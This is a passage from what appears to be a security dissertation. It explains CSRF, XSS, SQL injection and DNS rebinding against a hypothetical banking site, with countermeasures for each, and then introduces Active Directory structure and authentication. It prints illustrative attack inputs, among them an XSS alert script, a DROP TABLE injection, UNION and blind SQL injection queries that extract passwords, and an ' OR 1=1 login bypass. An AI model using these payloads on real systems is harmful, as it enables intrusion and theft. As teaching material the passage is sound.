account to account 2403 (Mallory’s account) for the sum of $999. In order to accomplish this, Mallory
could use HTML forms, as shown below:
However, this form would require Alice to click on the ”Try me!” button, which is probably unlikely of
happening. Hence, instead, JavaScript code can be used to automatically and seamlessly submit the
HTML form:
1 <body onload="[Link]()">
14
2.2.2 Countermeasures
The main problem that causes websites to be vulnerable to CSRF attacks is not knowing whether a
request is same-site or cross-site. Therefore, if a website is made aware of the origin of the request,
CSRF attacks can be easily defeated. There are several approaches to accomplish this with different
levels of effectiveness.
One way to do it is using an HTTP header field called Referer [4]. This header contains the URL of
the web page where the user made the request and, therefore, allows a web server to determine if that
request is same-site or cross-site. For instance, in the scenario represented by Figure 2.1, the request
in step 4 would include a Referer header with the value [Link], allowing the bank website to
determine the request as cross-site. However, it’s important to note that the Referer header can also
present a privacy concern as it exposes users’ browsing history. Hence, this header field is optional and
some web browsers, such as Brave, heavily reduce the amount of information sent in it and may even
not send it at all [5]. Thus, using the Referer header to mitigate CSRF attacks is not a foolproof solution
and should not be relied upon as the sole defense against these attacks.
These privacy concerns can be effortlessly fixed by using a special cookie attribute called SameSite
[6], which is set by web servers to declare if a particular cookie should be sent in cross-site requests or
not. Cookies without this attribute are invariably sent in all requests, independently of their origin. On
the other hand, cookies with this attribute are sent in same-site requests and its value dictates whether
or not they should also be sent in cross-site requests. There are three possible values for the SameSite
attribute:
• Lax: the cookie is sent in some cross-site requests, such as when a user clicks on a link that leads
to another website. Forms submitted from a different website or images loaded from a different
website would not be allowed.
A very popular and robust way of preventing CSRF attacks is to require that a secret token is sent in
all relevant requests (i.e., those that might represent a vector of attack). This token should have a unique
and highly unpredictable value tied to each user’s session, so that an attacker is not able to guess or
generate a valid token for a victim’s session. Web servers can deduce whether a request is same-site
or cross-site by the presence of this secret token in the request and should ignore it if the token is not
included. An effective and safe way for websites to transmit a CSRF token is to include it within a hidden
field of an HTML form. The token will be then included by the web browser as a request parameter once
the form is submitted. Pages from a different origin (i.e., the attacker’s website) are not able to access
15
the secret token and, hence, cannot include it in the forged request. It is not recommended to transmit
CSRF tokens through cookies [7, 8].
Usually, websites have client-side code (typically, JavaScript) that allows developers to create complex,
dynamic and interactive web pages that respond to user actions. It not only enhances the functionality of
websites, but it also improves the overall user experience. However, if the appropriate countermeasures
are not in place, it can also open an attack vector for Cross-Site Scripting (XSS) attacks, where an
attacker is able to inject code into the victim’s browser through the vulnerable website. This is particularly
dangerous because a script that was injected via a web page is allowed to access and change the
content on that page, as well as to send requests on behalf of the user. For instance, if the target is a
vulnerable home banking website, the attacker might be able to access the victim’s bank statement or
even make a transfer of money from the victim’s account to his account.
There are three main strategies that attackers use to exploit XSS vulnerabilities:
• Reflected XSS (also known as Non-persistent), which occurs when the malicious code comes from
the current HTTP request.
• Stored XSS (also known as Persistent), which arises when the malicious code comes from the
website’s database.
• DOM-based XSS, which takes place when the vulnerability is in client-side code instead of server-
side code.
In all of these, there are three parties involved: a victim, a target website and an attacker.
A Reflected XSS attack exploits the reflective behaviour that websites typically have. Specifically, web-
sites that receive user input and include the data provided by the user in the immediate response. For
example, in a social network website, searching for users called Bob might return a web page that says
”30 results found for Bob”, followed by all thirty profiles. Hence, the user input (”Bob”) is reflected back.
If a website with such behaviour includes user inputs in an unsafe way (i.e., it does not sanitize inputs),
it may be vulnerable to this type of attack.
Figure 2.2 demonstrates a hypothetical scenario where the attacker, Mallory, sends a malicious link
to the victim, Alice. This link is a URL of the target website ([Link]) with some malicious
code as input. The attack works as follows:
16
• Step 1: Mallory tricks Alice into clicking on the malicious URL.
• Step 2: Alice’s web browser sends a request to the target website with the malicious code.
• Step 3: The target website takes the data from the request (the malicious code) and includes it in
the response web page.
The vulnerable home banking website allows users to check their incomes and expenses for a given
month of the present year. This service was designed to use GET requests and can be used with, for
example, the following HTTP request:
1 GET [Link]
Then, users are presented with a web page with the name of the requested month (in this case,
January) and the respective incomes and expenses. Since the website does not sanitize the input (i.e.,
the value assigned to month), it has a Reflected XSS vulnerability and Mallory is able to exploit it by
tricking Alice into opening the following URL:
1 [Link]
A Stored XSS vulnerability arises when a web application receives data from users and stores that data
in the database in an unsafe way (i.e., it does not sanitize the inputs). Then, it includes that data in
responses to requests made by other users. Therefore, attackers can use the website as a channel that
connects them to their victims. For example, in a social network website, users can write posts for other
users to read. If a website with such behaviour does not sanitize the content of a post, an attacker might
write HTML tags and JavaScript code in a post, instead of ordinary text. Thus, the attacker uses the
website to transport code into the victims’ web browser.
Figure 2.3 demonstrates a hypothetical scenario where the attacker, Mallory, uses the target website
([Link]) to store a malicious script that is going to be eventually sent to the victim, Alice.
The attack works as follows:
17
Figure 2.3: Stored Cross-Site Scripting Attack
• Step 1: Mallory makes a request to the target website with a malicious script as input.
• Step 2: The target website stores the malicious script in the database.
• Step 3: Alice makes a request for a particular web page of the target website.
• Step 4: The target website sends the web page with the stored data (i.e., the malicious script).
When using the vulnerable home banking website to send money to other users, it allows to attach a
text message. Instead, Mallory can write HTML tags and JavaScript code in this field:
1 <script>alert("XSS")</script>
The website is going to store that as the content for the message field of the transaction that Mallory
sent to Alice. Once Alice checks the transaction in her web browser, it is going to executed that script.
Finally, DOM-based XSS attacks exploit client-side JavaScript code. Unlike Reflected XSS and Stored
XSS, where it is the web server that injects the malicious code in web pages, in this type of attack, it is
the web browser that does the injection using the DOM.
In reality, this attack is very similar to the Reflect XSS attack. Thus, Figure 2.4 shows a scenario
identical to the one present by fig. 2.2 for the Reflected XSS attack. However, the logic that injects the
malicious code into the web page is on the client-side, instead of being on the server-side.
In this case, the vulnerable home banking website has, in its homepage, a greeting message to
welcome the user. Therefore, when Alice logs in, she gets the following message: ”Hello, Alice”. The
18
name of the user is encoded in the URL and it is the web browser that adds it to the HTML of the web
page.
1 [Link]
Mallory can exploit this behaviour and embed a malicious script in the URL (more precisely, in the
name field) and trick Alice into clicking on it.
1 [Link]
Therefore, instead of getting the ”Hello, Alice” message, Alice’s web browser is just going to show
”Hello, ” (since this is a static string) and the malicious code is going to be executed.
2.3.4 Countermeasures
The main problem about web applications that makes them vulnerable to XSS attacks is that code
can be mixed with data. In order to prevent such attacks, developers need to have in mind that ill-
intentioned users might supply code in a particular field where the web application is expecting plaintext
data. Therefore, user inputs must be rigorously handled. Usually, an effective way of preventing XSS
vulnerabilities involves combining several countermeasures [4].
Sanitizing user inputs is crucial when it comes to XSS prevention and there are two approaches to
achieve it: filtering and encoding. Before displaying any user-generated content, developers need to
make sure that any potentially harmful user inputs are not executed by web browser. By filtering them,
HTML tags are removed. However, using a <script> tag is not the only way of mixing code with data,
as there are multiple strategies to make JavaScript code be executed by a web browser [9].
Encoding user inputs substitutes any HTML tags that might be present in the provided content with
equivalent representations, effectively escaping the input and making sure that it is not executed. In
this case, web browsers simply display these representations as any other ordinary text. For instance,
the malicious string <script>alert("XSS")</script> would be encoded by the web application as
<script>alert("XSS")</script> and the web browser would simply display the original
string in the web page, instead of executing the script.
Lastly, an efficient way of separating code from data is to utterly avoid inline JavaScript, which
directly places code inside a web page and web browsers do not have a way to determine where
that code comes from. Instead, all code can be supplied via link, such as the following example:
<script src="[Link] This approach allows web browsers to
know where the code comes from and, then, web applications can specify which sources can be trusted
using Content Security Policy [10]. Hence, attackers cannot place their inline code nor supply their
malicious scripts via link, since it will not come from a trustworthy source.
19
2.4 SQL Injection
Databases have become an essential element of web applications because they provide a structured
and organized way of storing, managing and retrieving persistent data. When it comes to databases, the
most used technology is Structured Query Language (SQL), specially when using relational databases.
SQL is a declarative language specifically designed to manage and manipulate relational databases as
it provides a standardized syntax for creating, modifying, and querying databases.
Similarly to XSS (Section 2.3), the underlying origin of SQL Injection (SQLi) is the mixing of data with
code. Usually, when a web application queries its database, the SQL statements include data that was
inputted by the user. Therefore, if a web application simply concatenates the query with the provided
data, attackers might be able to interfere with it and inject their own SQL code, completely changing the
meaning of the original SQL statement. This generally allows attackers to obtain sensitive information
that they normally would not have access to (e.g., all usernames and all passwords), or even modify or
delete this data, as described by Figure 2.5.
• In-band SQLi, which occurs when an attacker injects malicious SQL queries and retrieves the
results using the same communication channel. This category includes techniques such as Pig-
gybacked SQLi, Union-based SQLi and Error-based SQLi.
• Blind SQLi, which happens when the web application does not provide direct feedback about
the success or failure of the injected query, thus the attacker attempts to infer whether a certain
condition about the database is true or false. This category includes techniques such as Boolean-
based SQLi and Time-based SQLi.
• Authentication bypass, which allows an attacker to bypass the authentication mechanism of the
web application by injecting SQL code in login forms.
• Out-of-band SQLi, where the attacker uses one communication channel to launch the attack and
another to obtain the results. For example, the malicious SQL code injected by the attacker may
force the database to make a Domain Name System (DNS) request to a service controlled by the
attacker. This type of attack is not very common [11] and is not covered in this dissertation.
20
2.4.1 In-band SQLi
In-band SQLi (also known as Classic) is the most common type of SQL injection attack, as well as
the easiest to detect and exploit. In this case, the attacker is able to both inject malicious SQL code
and retrieve the results through the same communication channel, typically a website page. There are
different subtypes of In-band SQLi techniques:
• Piggybacked SQLi;
• Union-based SQLi;
• Error-based SQLi.
Piggybacked SQLi attacks allow an attacker to execute multiple SQL queries in a single request. To do
so, they leverage the use of a semicolon (;) which, in the SQL syntax, functions as a query delimiter
that enables multiples statements to be made in a single string. This type of SQLi can potentially give
an attacker the ability to obtain or delete information from the database.
For example, suppose that a vulnerable home banking website has a login form which asks users
for their username and password in order to authenticate. The following SQL query is used by the web
application to retrieve the user account from the database:
1 SELECT * FROM users WHERE username = 'user input' AND password = 'pass input';
1 SELECT * FROM users WHERE username = ''; DROP TABLE users; --' AND password = '';
The second statement will cause the database to delete the users table and, thus, it will completely
break the web application.
Note that the, in the SQL syntax, the double dash (--) is used to start a single-line comment. There-
fore, everything that comes after that in the above string is not going to be interpreted by the SQL server.
This type of injection tricks the web application into returning additional information to the web page by
using the UNION operator to combine the results of two or more SELECT statements. The ultimate goal of
21
Union-based SQLi attacks is to extract sensitive information (e.g., usernames and passwords) from the
database that would not be accessible otherwise.
The vulnerable home banking website has a search feature that allows users to check details of any
account, such as the username and name of the owner, by the account number. The following SQL
query is used by the web application to retrieve that information from the database:
1 SELECT username, name FROM accounts WHERE account number = 'acc num input';
If Mallory provides the following SQLi payload in the account number field
1 SELECT username, name FROM accounts WHERE account number = '' UNION SELECT
username, password FROM users; -- ';
When executed, the query would return the results of both SELECT statements combined. However,
the first would just return an empty result, while the second would return the username and password of
every user.
These attacks are the most useful type of SQLi for obtaining information about the database structure
and SQL server version, as error messages are returned and printed directly to the web page. Unlike
the previous types of SQLi, in Error-based SQLi, the injected code is designed to purposefully cause
syntax, type or logical errors to force the database to generate error messages that might contain useful
information to, for instance, enumerate its entire structure.
As exemplified in Section 2.4.1.B, the search feature of the hypothetical home banking website uses
the following SQL query:
1 SELECT username, name FROM accounts WHERE account number = 'acc num input';
In this case, Mallory wants to break the correctness of the SQL syntax in order to cause an error. As
such, she provides the following SQLi payload in the account number field:
1 1'
This will cause the final query to become (notice the extra apostrophe at the end):
When executed, the query would cause the database to report an error. If the vulnerable website is
configured to display errors on screen, Mallory might see a message like the one below:
22
1 "You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '' at line 1"
Therefore, Mallory is able to discover that the home banking application is using a MySQL database
and can focus on MySQL-specific attacks. For instance, trying to dump the contents of INFORMATION_SCHEMA,
a special database in MySQL that provides information about the database schema (e.g., name of
databases, name of tables, name of columns, etc.).
The vulnerable home banking website allows users to update their email address. The website takes the
new email address as input and updates the corresponding email address of that user in the database.
For that, the following SQL query is used (mind that the username field is fixed and the user can only
control the new_email variable):
As such, Mallory can provide the following SQLi payload in the email address field:
Upon execution, the query would change the email address of the administrator user to Mallory’s
email address. This could allow Mallory to perform password recovery on the administrator user and,
subsequently, take over the account.
Unlike the previous types of injections, where an attacker can see the results of the attack directly on the
web page, Blind SQLi (also known as Inference) attacks are used when the web application does not
return useful information to confirm whether the inject SQL code was successful or not. These attacks
are called blind because there is no visual feedback, which makes it more difficult to detect and more
time-consuming to execute. There are two main Blind SQLi techniques:
• Boolean-based SQLi;
• Time-based SQLi.
23
2.4.2.A Boolean-based SQLi
In this technique, an attacker injects SQL code that includes a logical expression that evaluates to true
or false, and the web page usually has a different behaviour based on the response, which allows the
attacker to infer the outcome of the logical expression. Hence, it is possible to use this technique to
enumerate the structure of the database and its contents (e.g., usernames and passwords).
Going back to the vulnerable home banking website and its search feature, the following SQL query
is used to retrieve the details about the owner of the account with the provided number:
1 SELECT username, name FROM accounts WHERE account number = 'acc num input';
If Mallory provides the following SQLi payload in the account number field
this is what the query will look like with the injected code:
1 SELECT username, name FROM accounts WHERE account number = '' AND (SELECT ASCII(
SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)))=97 --';
This query will cause the SQL server to return true if the first character of the password of the
Administrator account is a (since the American Standard Code for Information Interchange (ASCII) value
of a is 97). Thus, Mallory can use this technique to guess the password, one character at a time.
This technique is fairly similar to the previous one. However, instead of using a logical expression to
infer information from the database, a delay in the response is used to indicate whether the query was
successful or not. This time delay is introduced by using the WAITFOR DELAY or SLEEP() methods,
depending on the version of the SQL server.
Following the same example of the search feature of the vulnerable home banking website, Mallory
can provide the SQLi payload below in the account number field
1 SELECT username, name FROM accounts WHERE account number = '' AND IF(SUBSTR((
SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0) --';
Upon execution by the SQL server, the response will either take the normal time or take 5 more
seconds than usual, indicating that the first character of the password of the Administrator account is a.
24
Once again, Mallory can use this technique to guess the password, one character at a time.
As the name suggests, this technique allows an attacker to bypass authentication methods in a web ap-
plication, such as login forms. Here, attackers are not looking to retrieve information from the database,
as they just want to log in the web application without even knowing a valid username/password combi-
nation. Typically, the goal is to force the query used to authenticate users to evaluate to true.
As per the example provided in Section 2.4.1.A, the vulnerable home banking website has a login
form that uses the following SQL query to authenticate users:
1 SELECT * FROM users WHERE username = 'user input' AND password = 'pass input';
1 ' OR 1=1; --
this is what the query will look like with the injected code:
1 SELECT * FROM users WHERE username = '' AND password = '' OR 1=1; -- ';
When executed, this query evaluates to true and effectively allows Mallory to log in without actually
having an account. Furthermore, if Mallory already knows some usernames present in the web applica-
tion (e.g., by enumerating them), she can log in as any of those users. For instance, Mallory might be
able to log in with the Administrator account (supposing there is one), gaining administrative privileges
in the web application:
1 SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1; -- ';
2.4.4 Countermeasures
Once again, the fundamental problem about web applications that makes them vulnerable to SQLi at-
tacks is that code can be mixed with data. In order to protect web applications from these attacks,
three different strategies are typically used: filtering user inputs, encoding user inputs and prepared
statements. An effective way of preventing SQLi vulnerabilities usually requires a combination of these
strategies.
Sanitizing user inputs is imperative in any web application as it works as a defense mechanism
against different types of attacks. By filtering user input (also known as input validation), developers can
specify a list of accepted strings or employ regular expressions to ensure that the input comes in the
expected format [11].
25
Encoding user inputs is another approach to sanitization. Since allowing special characters (e.g.,
the apostrophe or the semicolon) can lead to SQLi vulnerabilities, escaping the input is a method that
causes these to be parsed as a regular string, instead of a special character. This can be done by, for
instance, prepending a backslash (\) to these characters [11]. For example, in PHP’s msqli extension,
there is the msqli_real_escape_string() function [12] that can be used to escape the user input before
passing it to the string contain the SQL query [4].
Although these strategies are valuable to sanitize user inputs, they do not solve the issue of mixing
code with data. To address that, one should use prepared statements with parameterized queries. In this
strategy, developers write the SQL query necessary to implement a certain feature of the web application
and, then, any user inputs needed are added as a parameter. Therefore, the SQL code structure cannot
be changed by attempts of code injection and the database can easily separate the query and the data.
Prepared statements are, currently, considered the best approach to preventing SQLi attacks [4].
Under normal circumstances, a server on a private network protected by a firewall, such as a home
network, cannot be accessed by an outside machine. However, the DNS Rebinding attack allows an
adversary to interact with a web server on a private network without having access to the network. The
goal is to use another machine on the private network as an intermediary (in particular, a web browser)
to ultimately interact with a private server that should not receive communications from the Internet.
Modern web browsers employ a defense mechanism called Same-Origin Policy (SOP) that restricts
how web pages can make cross-origin requests, as these can often lead to dangerous outcomes. For
instance, by allowing them, users would be susceptible to web pages containing JavaScript code that
would send requests on behalf of them to other websites. A possible scenario would be visiting a
malicious website that would send requests to the user’s home banking website and retrieving sensitive
information (e.g., user’s balance) or performing actions on behalf of the user (e.g., making a transaction).
Therefore, modern web browsers enforce the SOP to ensure that a web page can only access data from
another web page if both have the same origin (i.e., same hostname and port number). This means that
the code inside a web page can send requests to a second web page, but this security policy prevents
the code from getting the reply data. Only web pages coming from the same web server can fully interact
(i.e., send requests and read the reply data) between them.
To some extent, this attack is slightly related to the CSRF attack in the sense that both use cross-
origin requests. However, in CSRF, the goal is to cause a state change on the server and it only works
when the attacker does not have to access the response data. In other words, CSRF does not bypass
the SOP, whereas the DNS Rebinding attack specifically aims to bypass this protection mechanism to
26
allow attackers to access data on the target server.
Hence, DNS Rebinding is a technique that exposes internal web applications to malicious websites
that victims may open on their web browsers. By simply owning a domain, an attacker fully controls
its DNS records and can resolve hostnames to arbitrary IP addresses. By abusing this privilege and
resolving a hostname to the IP address of the target private server, an attacker might be able to interact
with it.
The SOP is enforced based on the hostname and port of the web page, as this is the way web browsers
differentiate web servers on the Internet. However, hostnames are not permanently bound to IP ad-
dresses and it is the DNS protocol that resolves a specific hostname to its IP address, and vice-versa. At
the same time, domain owners have control over the DNS records of their domain and they can resolve
hostnames to arbitrary IP addresses. The DNS Rebinding technique leverages this feature to obtain
access to devices in private networks that would otherwise be protected from the Internet. Nonetheless,
attackers need to specifically know the IP address of the private server in order to be able to map their
domain to the IP address of the target.
When a victim visits a malicious web server that performs a DNS Rebinding attack, the web browser
first gets the IP address of that web server. Then, the browser loads the content of the web page
(including the attacking scripts) and, after that happens, the attacker can map the hostname to any IP
address. In this scenario, the hostname now resolves to the IP address of a target server inside the
victim’s private network. When the attacking scripts in the malicious web page execute, they will make
requests to the same hostname and, therefore, the SOP is going to be bypassed since the origin is the
same. However, the DNS resolver is now mapping it to a different IP address and the requests made by
the malicious scripts are going to reach the target server.
Figure 2.6 demonstrates a hypothetical scenario where the victim, Alice, visits Mallory’s malicious
website ([Link]). Alice has a private web server in her home network that
cannot be accessed from the Internet. Mallory controls the DNS resolution of her domain and she
knows the IP address of Alice’s private web server.
• Step 1: Mallory tricks Alice into visiting her malicious web page on [Link]
(e.g., via phishing) and a DNS request is sent to the nameserver of the domain.
• Step 2: The nameserver responds with the real IP address ([Link]) of Mallory’s website.
• Step 3: Alice’s browser fetches the web page from the malicious web server.
• Step 4: The page is loaded and the browser executes the malicious code.
27
• Step 5: The malicious code sends another request to [Link] and a sec-
ond DNS query is sent to the nameserver.
• Step 6: The nameserver responds with the IP address of Alice’s private web server ([Link]).
• Step 7: The malicious code sends an HTTP request to the private server. Alice’s browser does
not recognize the request as cross-origin and the malicious page can fully interact with the private
server, enabling the attacker to access it.
The attack is only successful if Alice opens Mallory’s malicious website and leaves the tab open
enough time for the scripts to run, since web browsers also employ a default mechanism called DNS
caching. DNS caching prevents the DNS Rebinding attack from being carried out in a nearly instanta-
neous way and it is explained in more detail in the following section.
2.5.2 Countermeasures
There are different types of strategies that attempt to mitigate the DNS Rebinding attack at different
stages. These defense mechanisms can be Browser-based, Server-based and DNS-based.
Modern browsers have implemented a DNS pinning technique that makes sure the web browser
caches the DNS resolution for a fixed period of time regardless of the Time To Live (TTL) value sent
28
by the DNS server. This is particularly useful when attackers assign an extremely low TTL to the DNS
records of their malicious hostnames because browsers will ignore that value and assign the default one.
In this case, if the malicious script is expecting the browser to respect the original TTL value, the attack
will fail. However, this countermeasure is not very effective since the default TTL value for DNS caching
in modern browsers is only 60 seconds, just requiring the victim to have the malicious web page opened
for more than a minute and a script that repeatedly sends requests to the target server to completely
defeat this strategy.
Some private HTTP servers, mainly associated with Internet of Things (IoT) applications, do not
employ any form of authentication because they assume they cannot be accessed from the Internet
since they are inside a private network. Therefore, one Server-based defense mechanism would be to
implement a vigorous form of authentication with strong credentials. An even better option would be
to implement HTTPS. During the HTTPS handshake, the real domain is required to validate the TLS
certificate. This would prevent the DNS Rebinding attack since the domain of the malicious web page
would not match the domain of the private server.
On the DNS level, a possible countermeasure would be to filter out all private IP addresses from
DNS resolutions like some public DNS servers (e.g., OpenDNS [13]), DNS caching applications (e.g.,
Dnsmasq [14] and Unbound [15]) and DNS-specific firewalls (e.g., dnswall [16]) allow to do [17]. Al-
though this would solve the issue, it could also block legitimate and benign hostnames from resolving to
private IP addresses. For instance, IoT services rely heavily on hostnames that translate to private IP
addresses to ensure the correct functioning of those applications. It is estimated that, as of June 2021,
8.99% of the all active hostnames resolve to private IP addresses [18]. For that reason, these services
also allow users to create exceptions. Thus, if there is a domain that legitimately points to a private
address space, it should be added to a whitelist.
29
30
Active Directory
3
Contents
3.1 Introduction to Active Directory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
3.3 Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
31
32
Windows Active Directory is a fundamental element of the IT infrastructure used by the corporate
world. Its structure simplifies the centralized administration of an organization’s resources, such as users
and computers. At its core, Active Directory facilitates authentication and authorization mechanisms
within a Windows domain ecosystem.
This chapter describes the fundamental concepts of Windows Active Directory, focusing on intro-
ducing its purpose and role in Windows environments, as well as its architecture and components.
Moreover, it provides an overview of the authentication and authorization protocols that are used by
the active directory technology and, lastly, explains some of the most common attacks, such as User
Enumeration, Password Spraying, AS-REP Roasting, Kerberoasting, SMB Relay and Golden Ticket.
Active Directory (AD) is a directory service developed by Microsoft for Windows domain networks. It
provides a centralized and hierarchical framework for managing the organization’s resources, which may
include: users, computers, groups, file shares, and policies [19]. AD can be seen as a single repository
that plays a crucial role in Windows environments by offering vital functionalities, including [20]:
• Centralized management: Administrators can manage and control the domain’s resources from
a single, centralized location. This simplifies the process of administering users, groups, and
computers. Without this feature, administrators would have to, for instance, manually configure
each computer [21].
• Authentication and authorization: Users are authenticated by AD when they log into the network
and their access to resources is determined by the permissions that were assigned to them and to
the groups they belong to [22].
• Group policies: These permissions are controlled by policies. Administrators enforce security and
configuration policies across the entire network through Group Policy Objects (GPOs) [23]. This
ensures consistency in settings and security policies for users and computers within the organiza-
tion.
• Scalability: AD is highly scalable, which allows organizations to manage their growing IT infras-
tructure in an efficient manner. Domains, trees, and forests enable administrators to organize
resources logically and maintain a structured hierarchy, facilitating the management of large net-
works [21].
Although AD is typically used in Windows domain networks, a similar functionality can be achieved on
Linux using Samba [24], for example. However, AD is mostly used in the corporate environment, which
33
primarily uses Windows domain networks [25]. It is estimated that 95% of Fortune 500 companies use
Windows AD [19, 26, 27]. Therefore, this dissertation will solely focus on AD in Windows networks.
The AD architecture consists of various components that work together to facilitate centralized man-
agement, authentication, and authorization of resources. Before delving into the components part, it
is essential to understand the concept of a Windows domain. A Windows domain consists of a logical
group of users, computers, file shares, and other resources connected within a network. Domains are
used to centralize the administration of these resources, allowing administrators to manage the IT in-
frastructure. Within a domain, a single set of user credentials (username and password) can be used to
access resources across the network, simplifying the authentication process for users.
Apart from Domains, the key components of AD include:
• Objects;
34
3.2.1 Domain Controllers
DCs are responsible for processing authentication and authorization requests, as well as providing di-
rectory services to users within the domain (i.e., storing and managing objects in the domain), DNS
services and group policies. They also send updates about changes in the directory to other DCs within
the same domain, ensuring consistency across the network. A DC is a machine running the Windows
Server operating system with an installation of Active Directory Domain Services (AD DS). This service
functions as a repository that stores the information about all the objects present in the network. AD
supports numerous objects, including users, computers, groups, printers, and shares, as presented by
Section 3.2.2. Figure 3.2 shows the AD Users and Computers management tool being used to display
the DC of an example domain.
DCs are essential to the operation of a Windows AD environment, as they provide the backbone
infrastructure that enables the network to function. There is a set of services that usually run on these
special servers:
• NT LAN Manager (NTLM) and Server Message Block (SMB) - TCP/UDP port 445.
LDAP, in particular, is vital to the operation of a DC and the broader domain. This protocol allows
users, applications and services to access and interact with the AD database. Moreover, LDAP can be
used to replicate AD data across DCs on the network. Without DNS, AD services and resources would
not be discoverable. Therefore, this protocol is absolutely crucial to AD networks. If DNS is not working
35
properly, computers will not be able to locate DCs and, thus, they cannot join the domain nor can users
log in. Section 3.3.1, Section 3.3.2 and Section 3.5 provide further explanation on the use of Kerberos,
NTLM and SMB protocols on AD networks, delving into how these protocols work and why they are
fundamental to AD.
Although these services commonly run on a DC, it is relevant to note that some might be split out
onto separate servers depending on the size and complexity of the domain. For instance, there might
be dedicated DNS servers on the network.
Still, from the perspective of adversaries, they might be able to identify which machines in the network
are DCs by scanning their ports. Subsequently, a machine that has the aforementioned ports opened
will become a target for the attackers, given that a DC represents the core of an AD network.
3.2.2 Objects
Objects can be defined as any resource present within an AD environment and represent a single entity
within the network, such as a user, a computer, a printer, or a group [19]. Each object has a unique
identifier called a Distinguished Name (DN) and a collection of attributes that store data about the object.
Administrators are allowed to create, modify, or delete objects as they wish.
Objects can be split into two categories: security principals and resources. Security principals (e.g.,
users, computers and groups) are objects that can be assigned permissions and rights to access re-
sources (e.g., printers, folders and files). Each security principal is assigned a unique Security Identi-
fier (SID), which is automatically generated on creation.
3.2.2.A Users
In AD, users are among the most common types of objects and can be used to depict two distinct
groups [21]:
• People: users in the organization with access to the network, such as employees.
• Services: Services like IIS or MSSQL require a user to function. Service users are different from
regular users and mostly only have privileges for the corresponding service.
Besides storing usernames and passwords, user objects often keep a record of relevant information
such as contact details and address. Administrators are responsible for assigning permissions and
group memberships to user objects, effectively controlling their access to resources within the network.
36
3.2.2.B Computers
Computers are another type of object within AD. For every desktop, laptop and server that joins the
network, a computer object is created and an account is assigned to it [21]. This account acts as local
administrator on the computer itself and is not supposed to be used by anyone else.
These objects store information about the device, such as its name, operating system and IP address.
Administrators can manage and apply security policies to computer objects, in the same way as they do
to user objects.
Figure 3.3 illustrates the AD Users and Computers management tool being used to show the domain
computers.
Figure 3.3: Domain computers in the AD Users and Computers management tool
Security groups are a type of group object used to specifically manage permissions and access control
in AD [22]. By adding security principals (i.e., user and computer objects) to a security group, adminis-
trators can simultaneously assign permissions to multiple objects. These groups can be composed of
users, computers and even other groups.
Security groups play a vital role in simplifying the process of managing access to resources across
the organization, thereby enabling better manageability as users automatically inherit all of the group’s
privileges upon being added to it.
There is a considerable amount of groups that is created in a domain by default and that can be used
to assign specific privileges to users, out of the box. Some of the most relevant groups include [28]:
• Domain Admins: users with administrative privileges over the entire domain.
37
• Domain Users: when a user account is created in the domain, it becomes a member of this group.
• Domain Computers: computers and servers that have joined the domain, excluding DCs.
Figure 3.4 displays several Security Groups on the AD Users and Computers management tool.
Figure 3.4: Security Groups in the AD Users and Computers management tool
OUs are container objects within AD used to organize and classify users and computers [22]. These
containers can be nested and used to create a hierarchical structure that reflects an organization’s
business divisions [21]. For instance, one OU can be created for each department (e.g., IT, Finance, HR,
Management, etc.) and, then, policies can be equally applied to the people in the respective department
as they probably have the same set of policies. Note that a user cannot be a member of more than one
OU.
OUs might look very similar to Security Groups. However, the former is used to apply policies (e.g.,
password complexity) to users and machines depending on their role within the company, while the latter
is used to assign permissions over resources (e.g., a printer or a file). Administrators can apply Group
Policy settings to specific OUs, allowing for more granular control over resources.
By default, several OUs are automatically created in a domain. Some of the most relevant include:
38
3.2.3 Group Policy
Group Policy is a feature of AD that allows administrators to create and apply security policies and
configurations to users and computers across the domain [22]. By centralizing the management of
these policies, Group Policy simplifies the process of maintaining network security and configuration,
ensuring consistency across the organization.
AD manages such policies through GPOs [23]. A GPO contains a collection of settings and configu-
rations that can be applied to OUs. GPOs usually have policies targeted at users or computers, enabling
administrators to establish a standard configuration for particular users and computers [21].
Some examples of common group policy settings that administrators may apply to users in a domain
include:
• Password Policies: enhances security through password complexity requirements, minimum pass-
word length and password expiration.
• Account Lockout Policies: protects against brute force attacks by setting the number of failed login
attempts before locking an account.
Similarly, some examples of common group policy settings that can be applied to computers within
an AD environment include:
• Remote Desktop Settings: administrators can enable/disable and configure remote desktop ac-
cess to computers.
• Power Management Settings: administrators can manage power settings on computers to reduce
energy consumption, such as configure sleep settings (e.g., turn off the display after 15 minutes).
A domain has a unique namespace and stores information about the objects within that domain. How-
ever, domains can also be organized into a hierarchical structure called a tree. A tree consists of one
or more domains that share a contiguous namespace. In other words, a tree is a collection of domains
structured as subdomains of the root domain [19]. For instance, the parent domain [Link] can have
two child domains called [Link] and [Link], as illustrated by Figure 3.5. Trees sim-
plify the management of multiple domains by allowing administrators to manage resources and apply
security policies across the entire tree.
A forest, on the other hand, is a collection of one or more trees. Forests enable organizations to
manage multiple trees and domains with different namespaces as a single logical entity [21]. Forests
provide a way to share resources and establish trust relationships between different domains and trees,
while still allowing for separate administration. A possible forest may include the [Link] tree and
39
Figure 3.5: Active Directory Tree
another tree of a recently acquired company with a non-contiguous namespace, such as [Link].
Figure 3.6 illustrates this scenario.
Trust relationships are established between domains to allow users in one domain to access re-
sources in another domain [22]. In essence, having a trust relationship between domains allows admin-
istrators to authorise users from [Link] to access files in a server from [Link]. Trusts can be
one-way or two-way relationships:
• One-way trust relationship: Users from the trusted domain can access resources in the trusting
domain, but users from the trusting domain cannot access resources in the trusted domain.
• Two-way trust relationship: Users from both domains can access resources in the other domain.
By default, a two-way trust relationship is automatically created when domains and trees are added
to a forest. On the other hand, trust relationships between separate forests can be created manually.
It is also important to state that a trust relationship between domains does not instantaneously assigns
permissions to the resources on the other domain. It simply provides administrators with the possibility
to do so.
40
3.3 Authentication
In a Windows domain environment, all user credentials are securely stored in the DCs. When a user
attempts to authenticate to a service using their domain credentials, the service communicates with the
DC to verify them. This interaction is handled by network authentication protocols, which ensure the
secure transfer of sensitive authentication data. There are primarily two protocols used in Windows
domains for network authentication [21]:
• Kerberos: This is the default protocol for any recent version of Windows and it is known for being
robust.
• NTLM: This is a legacy authentication protocol that is considered obsolete because it can be
bruteforced [29], but is often maintained for compatibility purposes to support legacy systems.
